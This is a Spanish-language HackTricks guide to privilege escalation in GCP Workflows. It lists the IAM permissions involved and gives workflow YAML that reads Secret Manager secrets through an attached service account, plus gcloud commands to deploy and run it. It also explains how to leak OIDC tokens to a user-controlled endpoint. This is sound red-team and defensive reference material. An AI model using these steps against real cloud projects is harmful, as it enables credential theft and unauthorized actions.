GCP - Workflows Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Workflows

Información básica:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Hasta donde sé no es posible obtener una shell con acceso al endpoint de metadata que contenga las credenciales del SA adjunto a un Workflow. Sin embargo, es posible abusar de los permisos del SA añadiendo las acciones a ejecutar dentro del Workflow.

Es posible encontrar la documentación de los conectores. Por ejemplo, esta es la página del conector Secretmanager. En la barra lateral se pueden encontrar varios otros conectores.

Y aquí puedes encontrar un ejemplo de un conector que imprime un secreto:

Configuración YAML del Workflow para acceder a secretos ```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```

Actualización desde la CLI:

Desplegar y ejecutar workflows desde la CLI ```bash gcloud workflows deploy \ --service-account=email@SA \ --source=/path/to/config.yaml \ --location us-central1 ``` Si obtienes un error como `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, simplemente **espera un minuto e inténtalo de nuevo**.

Si no tienes acceso web es posible desencadenar y ver la ejecución de un Workflow con:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Caution

También puedes revisar la salida de ejecuciones previas para buscar información sensible

Ten en cuenta que incluso si obtienes un error como PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... porque no tienes ese permiso, el workflow ya se ha generado.

Leak OIDC token (and OAuth?)

Según la documentación es posible usar pasos del workflow que enviarán una solicitud HTTP con el token OAuth u OIDC. Sin embargo, al igual que en el caso de Cloud Scheduler, la solicitud HTTP con el token OAuth debe ser al host .googleapis.com.

Caution

Por lo tanto, es posible leak el OIDC token indicando un endpoint HTTP controlado por el usuario, pero para leak el OAuth token necesitarías un bypass para esa protección. Sin embargo, todavía puedes contact any GCP api to perform actions on behalf the SA usando tanto connectors como solicitudes HTTP con el token OAuth.

Oauth

Solicitud HTTP del workflow con token OAuth ```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```
#### OIDC
Solicitud HTTP de Workflow con token OIDC ```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```
### `workflows.workflows.update` ...

Con este permiso, en lugar de workflows.workflows.create, es posible actualizar un workflow ya existente y realizar los mismos ataques.

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks